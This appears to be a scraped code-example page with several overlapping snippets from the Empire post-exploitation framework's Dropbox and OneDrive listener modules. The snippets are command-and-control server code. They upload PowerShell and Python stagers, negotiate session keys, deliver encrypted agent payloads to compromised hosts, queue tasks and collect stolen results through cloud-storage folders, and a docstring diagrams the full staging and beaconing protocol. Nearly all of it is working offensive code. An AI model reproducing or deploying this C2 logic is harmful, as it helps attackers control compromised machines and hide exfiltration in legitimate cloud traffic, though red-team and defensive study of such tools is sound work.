                                        dbx.files_delete(fileName2)
                                    except dropbox.exceptions.ApiError:
                                        dispatcher.send("[!] Error deleting data at '%s'" % (fileName2), sender="listeners/dropbox")

                                    # step 6 of negotiation -> server sends patched agent.ps1/agent.py
                                    agentCode = self.generate_agent(language=language, listenerOptions=listenerOptions)
                                    returnResults = encryption.aes_encrypt_then_hmac(sessionKey, agentCode)

                                    try:
                                        stageName = "%s/%s_4.txt" % (stagingFolder, sessionID)
                                        dispatcher.send("[*] Uploading key negotiation part 4 (agent) to %s for %s" % (stageName, sessionID), sender='listeners/dbx')
                                        dbx.files_upload(returnResults, stageName)
                                    except dropbox.exceptions.ApiError:
                                        dispatcher.send("[!] Error uploading data to '%s'" % (stageName), sender="listeners/dropbox")


            # get any taskings applicable for agents linked to this listener
            sessionIDs = self.mainMenu.agents.get_agents_for_listener(listenerName)
            for sessionID in sessionIDs:
                taskingData = self.mainMenu.agents.handle_agent_request(sessionID, 'powershell', stagingKey)
                if taskingData:
                    try:
                        taskingFile = "%s/%s.txt" % (taskingsFolder, sessionID)

                        # if the tasking file still exists, download/append + upload again
                        existingData = None
                        try:
                            md, res = dbx.files_download(taskingFile)
                            existingData = res.content
                        except:
                            existingData = None

                        if existingData:
                            taskingData = taskingData + existingData

                        dispatcher.send("[*] Uploading agent tasks for %s to %s" % (sessionID, taskingFile), sender='listeners/dbx')
                        dbx.files_upload(taskingData, taskingFile, mode=dropbox.files.WriteMode.overwrite)
                    except dropbox.exceptions.ApiError as e:
                        dispatcher.send("[!] Error uploading agent tasks for %s to %s : %s" % (sessionID, taskingFile, e), sender="listeners/dropbox")

            # check for any results returned
            for match in dbx.files_search(resultsFolder, "*.txt").matches:
                fileName = str(match.metadata.path_display)
                sessionID = fileName.split('/')[-1][:-4]

                dispatcher.send("[*] Downloading data for '%s' from %s" % (sessionID, fileName), sender="listeners/dropbox")

                try:
                    md, res = dbx.files_download(fileName)
                except dropbox.exceptions.HttpError as err:
                    dispatcher.send("[!] Error download data from '%s' : %s" % (fileName, err), sender="listeners/dropbox")
                    continue

                responseData = res.content

                try:
                    dbx.files_delete(fileName)
                except dropbox.exceptions.ApiError:
                    dispatcher.send("[!] Error deleting data at '%s'" % (fileName), sender="listeners/dropbox")

                self.mainMenu.agents.handle_agent_data(stagingKey, responseData, listenerOptions)
示例#8
0
                        if stage == '3': #Download stage 3, upload stage 4 (full agent code)
                            message = "[*] Downloading {}/{}/{}, {} bytes".format(base_folder, staging_folder, item['name'], item['size'])
                            signal = json.dumps({
                                'print': False,
                                'message': message
                            })
                            dispatcher.send(signal, sender="listeners/onedrive/{}".format(listener_name))
                            content = s.get(item['@microsoft.graph.downloadUrl']).content
                            lang, return_val = self.mainMenu.agents.handle_agent_data(staging_key, content, listener_options)[0]

                            session_key = self.mainMenu.agents.agents[agent_name]['sessionKey']
                            agent_token = renew_token(client_id, token['refresh_token']) #Get auth and refresh tokens for the agent to use
                            agent_code = str(self.generate_agent(listener_options, client_id, agent_token['access_token'],
                                                            agent_token['refresh_token'], redirect_uri, lang))
                            enc_code = encryption.aes_encrypt_then_hmac(session_key, agent_code)

                            message = "[*] Uploading {}/{}/{}_4.txt, {} bytes".format(base_folder, staging_folder, agent_name, str(len(enc_code)))
                            signal = json.dumps({
                                'print': False,
                                'message': message
                            })
                            dispatcher.send(signal, sender="listeners/onedrive/{}".format(listener_name))
                            s.put("%s/drive/root:/%s/%s/%s_4.txt:/content" % (base_url, base_folder, staging_folder, agent_name), data=enc_code)
                            message = "[*] Deleting {}/{}/{}".format(base_folder, staging_folder, item['name'])
                            signal = json.dumps({
                                'print': False,
                                'message': message
                            })
                            dispatcher.send(signal, sender="listeners/onedrive/{}".format(listener_name))
                            s.delete("%s/drive/items/%s" % (base_url, item['id']))
示例#9
0
    def start_server(self, listenerOptions):
        """
        Threaded function that actually starts up polling server for Dropbox
        polling communication.

        ./Empire/
            ./staging/
                stager.ps1
                SESSION_[1-4].txt
            ./taskings/
                SESSIONID.txt
            ./results/
                SESSIONID.txt

        /Empire/staging/stager.ps1       -> RC4staging(stager.ps1) uploaded by server
        /Empire/staging/sessionID_1.txt  -> AESstaging(PublicKey) uploaded by client
        /Empire/staging/sessionID_2.txt  -> RSA(nonce+AESsession) uploaded by server
        /Empire/staging/sessionID_3.txt  -> AESsession(nonce+sysinfo) uploaded by client
        /Empire/staging/sessionID_4.txt  -> AESsession(agent.ps1) uploaded by server


        client                                              dropbox                             server
                                                                                        <- upload /Empire/staging/stager.ps1
        read /Empire/staging/stager                     ->
                                                        <-  return stager
        generate sessionID
        upload /Empire/staging/sessionID_1.txt          ->
                                                                                        <- read /Empire/staging/sessionID_1.txt
                                                                                        <- upload /Empire/staging/sessionID_2.txt
        read /Empire/staging/sessionID_2.txt            ->
                                                        <- /Empire/staging/sessionID_2.txt
        upload /Empire/staging/sessionID_3.txt          ->
                                                                                        <- read /Empire/staging/sessionID_3.txt
                                                                                        <- upload /Empire/staging/sessionID_4.txt
        read /Empire/staging/sessionID_4.txt            ->
                                                        <- /Empire/staging/sessionID_4.txt

        <start beaconing>
                                                                                        <- upload /Empire/taskings/sessionID.txt
        read /Empire/taskings/sessionID.txt             ->
                                                        <- /Empire/taskings/sessionID.txt
        delete /Empire/taskings/sessionID.txt           ->

        execute code
        upload /Empire/results/sessionID.txt            ->
                                                                                        <- read /Empire/results/sessionID.txt
                                                                                        <- delete /Empire/results/sessionID.txt

        """
        def download_file(dbx, path):
            # helper to download a file at the given path
            try:
                md, res = dbx.files_download(path)
            except dropbox.exceptions.HttpError as err:
                dispatcher.send("[!] Error download data from '%s' : %s" %
                                (path, err),
                                sender="listeners/dropbox")
                return None
            return res.content

        def upload_file(dbx, path, data):
            # helper to upload a file to the given path
            try:
                dbx.files_upload(data, path)
            except dropbox.exceptions.ApiError:
                dispatcher.send("[!] Error uploading data to '%s'" % (path),
                                sender="listeners/dropbox")

        def delete_file(dbx, path):
            # helper to delete a file at the given path
            try:
                dbx.files_delete(path)
            except dropbox.exceptions.ApiError:
                dispatcher.send("[!] Error deleting data at '%s'" % (path),
                                sender="listeners/dropbox")

        # make a copy of the currently set listener options for later stager/agent generation
        listenerOptions = copy.deepcopy(listenerOptions)

        stagingKey = listenerOptions['StagingKey']['Value']
        pollInterval = listenerOptions['PollInterval']['Value']
        apiToken = listenerOptions['APIToken']['Value']
        listenerName = listenerOptions['Name']['Value']
        baseFolder = listenerOptions['BaseFolder']['Value'].strip('/')
        stagingFolder = "/%s/%s" % (
            baseFolder, listenerOptions['StagingFolder']['Value'].strip('/'))
        taskingsFolder = "/%s/%s" % (
            baseFolder, listenerOptions['TaskingsFolder']['Value'].strip('/'))
        resultsFolder = "/%s/%s" % (
            baseFolder, listenerOptions['ResultsFolder']['Value'].strip('/'))

        dbx = dropbox.Dropbox(apiToken)

        # ensure that the access token supplied is valid
        try:
            dbx.users_get_current_account()
        except dropbox.exceptions.AuthError as err:
            print helpers.color(
                "[!] ERROR: Invalid access token; try re-generating an access token from the app console on the web."
            )
            return False

        # setup the base folder structure we need
        try:
            dbx.files_create_folder(stagingFolder)
        except dropbox.exceptions.ApiError:
            dispatcher.send("[*] Dropbox folder '%s' already exists" %
                            (stagingFolder),
                            sender="listeners/dropbox")
        try:
            dbx.files_create_folder(taskingsFolder)
        except dropbox.exceptions.ApiError:
            dispatcher.send("[*] Dropbox folder '%s' already exists" %
                            (taskingsFolder),
                            sender="listeners/dropbox")
        try:
            dbx.files_create_folder(resultsFolder)
        except dropbox.exceptions.ApiError:
            dispatcher.send("[*] Dropbox folder '%s' already exists" %
                            (resultsFolder),
                            sender="listeners/dropbox")

        # upload the stager.ps1 code
        stagerCodeps = self.generate_stager(listenerOptions=listenerOptions,
                                            language='powershell')
        stagerCodepy = self.generate_stager(listenerOptions=listenerOptions,
                                            language='python')
        try:
            # delete stager if it exists
            delete_file(dbx, "%s/debugps" % (stagingFolder))
            delete_file(dbx, "%s/debugpy" % (stagingFolder))
            dbx.files_upload(stagerCodeps, "%s/debugps" % (stagingFolder))
            dbx.files_upload(stagerCodepy, "%s/debugpy" % (stagingFolder))
        except dropbox.exceptions.ApiError:
            print helpers.color("[!] Error uploading stager to '%s/stager'" %
                                (stagingFolder))
            return

        while True:

            time.sleep(int(pollInterval))

            # search for anything in /Empire/staging/*
            for match in dbx.files_search(stagingFolder, "*.txt").matches:
                fileName = str(match.metadata.path_display)
                relName = fileName.split('/')[-1][:-4]
                sessionID, stage = relName.split('_')
                sessionID = sessionID.upper()

                if '_' in relName:
                    if stage == '1':
                        try:
                            md, res = dbx.files_download(fileName)
                        except dropbox.exceptions.HttpError as err:
                            dispatcher.send(
                                "[!] Error download data from '%s' : %s" %
                                (fileName, err),
                                sender="listeners/dropbox")
                            continue
                        stageData = res.content

                        dataResults = self.mainMenu.agents.handle_agent_data(
                            stagingKey, stageData, listenerOptions)
                        if dataResults and len(dataResults) > 0:
                            for (language, results) in dataResults:
                                # TODO: more error checking
                                try:
                                    dbx.files_delete(fileName)
                                except dropbox.exceptions.ApiError:
                                    dispatcher.send(
                                        "[!] Error deleting data at '%s'" %
                                        (fileName),
                                        sender="listeners/dropbox")
                                try:
                                    stageName = "%s/%s_2.txt" % (stagingFolder,
                                                                 sessionID)
                                    dispatcher.send(
                                        "[*] Uploading key negotiation part 2 to %s for %s"
                                        % (stageName, sessionID),
                                        sender='listeners/dbx')
                                    dbx.files_upload(results, stageName)
                                except dropbox.exceptions.ApiError:
                                    dispatcher.send(
                                        "[!] Error uploading data to '%s'" %
                                        (stageName),
                                        sender="listeners/dropbox")

                    if stage == '3':
                        try:
                            md, res = dbx.files_download(fileName)
                        except dropbox.exceptions.HttpError as err:
                            dispatcher.send(
                                "[!] Error download data from '%s' : %s" %
                                (fileName, err),
                                sender="listeners/dropbox")
                            continue
                        stageData = res.content

                        dataResults = self.mainMenu.agents.handle_agent_data(
                            stagingKey, stageData, listenerOptions)
                        if dataResults and len(dataResults) > 0:
                            # print "dataResults:",dataResults
                            for (language, results) in dataResults:
                                if results.startswith('STAGE2'):
                                    sessionKey = self.mainMenu.agents.agents[
                                        sessionID]['sessionKey']
                                    dispatcher.send(
                                        "[*] Sending agent (stage 2) to %s through Dropbox"
                                        % (sessionID),
                                        sender='listeners/dbx')

                                    try:
                                        dbx.files_delete(fileName)
                                    except dropbox.exceptions.ApiError:
                                        dispatcher.send(
                                            "[!] Error deleting data at '%s'" %
                                            (fileName),
                                            sender="listeners/dropbox")

                                    try:
                                        fileName2 = fileName.replace(
                                            "%s_3.txt" % (sessionID),
                                            "%s_2.txt" % (sessionID))
                                        dbx.files_delete(fileName2)
                                    except dropbox.exceptions.ApiError:
                                        dispatcher.send(
                                            "[!] Error deleting data at '%s'" %
                                            (fileName2),
                                            sender="listeners/dropbox")

                                    # step 6 of negotiation -> server sends patched agent.ps1/agent.py
                                    agentCode = self.generate_agent(
                                        language=language,
                                        listenerOptions=listenerOptions)
                                    returnResults = encryption.aes_encrypt_then_hmac(
                                        sessionKey, agentCode)

                                    try:
                                        stageName = "%s/%s_4.txt" % (
                                            stagingFolder, sessionID)
                                        dispatcher.send(
                                            "[*] Uploading key negotiation part 4 (agent) to %s for %s"
                                            % (stageName, sessionID),
                                            sender='listeners/dbx')
                                        dbx.files_upload(
                                            returnResults, stageName)
                                    except dropbox.exceptions.ApiError:
                                        dispatcher.send(
                                            "[!] Error uploading data to '%s'"
                                            % (stageName),
                                            sender="listeners/dropbox")

            # get any taskings applicable for agents linked to this listener
            sessionIDs = self.mainMenu.agents.get_agents_for_listener(
                listenerName)
            for sessionID in sessionIDs:
                taskingData = self.mainMenu.agents.handle_agent_request(
                    sessionID, 'powershell', stagingKey)
                if taskingData:
                    try:
                        taskingFile = "%s/%s.txt" % (taskingsFolder, sessionID)

                        # if the tasking file still exists, download/append + upload again
                        existingData = None
                        try:
                            md, res = dbx.files_download(taskingFile)
                            existingData = res.content
                        except:
                            existingData = None

                        if existingData:
                            taskingData = taskingData + existingData

                        dispatcher.send(
                            "[*] Uploading agent tasks for %s to %s" %
                            (sessionID, taskingFile),
                            sender='listeners/dbx')
                        dbx.files_upload(
                            taskingData,
                            taskingFile,
                            mode=dropbox.files.WriteMode.overwrite)
                    except dropbox.exceptions.ApiError as e:
                        dispatcher.send(
                            "[!] Error uploading agent tasks for %s to %s : %s"
                            % (sessionID, taskingFile, e),
                            sender="listeners/dropbox")

            # check for any results returned
            for match in dbx.files_search(resultsFolder, "*.txt").matches:
                fileName = str(match.metadata.path_display)
                sessionID = fileName.split('/')[-1][:-4]

                dispatcher.send("[*] Downloading data for '%s' from %s" %
                                (sessionID, fileName),
                                sender="listeners/dropbox")

                try:
                    md, res = dbx.files_download(fileName)
                except dropbox.exceptions.HttpError as err:
                    dispatcher.send("[!] Error download data from '%s' : %s" %
                                    (fileName, err),
                                    sender="listeners/dropbox")
                    continue

                responseData = res.content

                try:
                    dbx.files_delete(fileName)
                except dropbox.exceptions.ApiError:
                    dispatcher.send("[!] Error deleting data at '%s'" %
                                    (fileName),
                                    sender="listeners/dropbox")

                self.mainMenu.agents.handle_agent_data(stagingKey,
                                                       responseData,
                                                       listenerOptions)
示例#10
0
文件: onedrive.py 项目: 0xe7/Empire
                        if stage == '3': #Download stage 3, upload stage 4 (full agent code)
                            message = "[*] Downloading {}/{}/{}, {} bytes".format(base_folder, staging_folder, item['name'], item['size'])
                            signal = json.dumps({
                                'print': False,
                                'message': message
                            })
                            dispatcher.send(signal, sender="listeners/onedrive/{}".format(listener_name))
                            content = s.get(item['@microsoft.graph.downloadUrl']).content
                            lang, return_val = self.mainMenu.agents.handle_agent_data(staging_key, content, listener_options)[0]

                            session_key = self.mainMenu.agents.agents[agent_name]['sessionKey']
                            agent_token = renew_token(client_id, token['refresh_token']) #Get auth and refresh tokens for the agent to use
                            agent_code = str(self.generate_agent(listener_options, client_id, agent_token['access_token'],
                                                            agent_token['refresh_token'], redirect_uri, lang))
                            enc_code = encryption.aes_encrypt_then_hmac(session_key, agent_code)

                            message = "[*] Uploading {}/{}/{}_4.txt, {} bytes".format(base_folder, staging_folder, agent_name, str(len(enc_code)))
                            signal = json.dumps({
                                'print': False,
                                'message': message
                            })
                            dispatcher.send(signal, sender="listeners/onedrive/{}".format(listener_name))
                            s.put("%s/drive/root:/%s/%s/%s_4.txt:/content" % (base_url, base_folder, staging_folder, agent_name), data=enc_code)
                            message = "[*] Deleting {}/{}/{}".format(base_folder, staging_folder, item['name'])
                            signal = json.dumps({
                                'print': False,
                                'message': message
                            })
                            dispatcher.send(signal, sender="listeners/onedrive/{}".format(listener_name))
                            s.delete("%s/drive/items/%s" % (base_url, item['id']))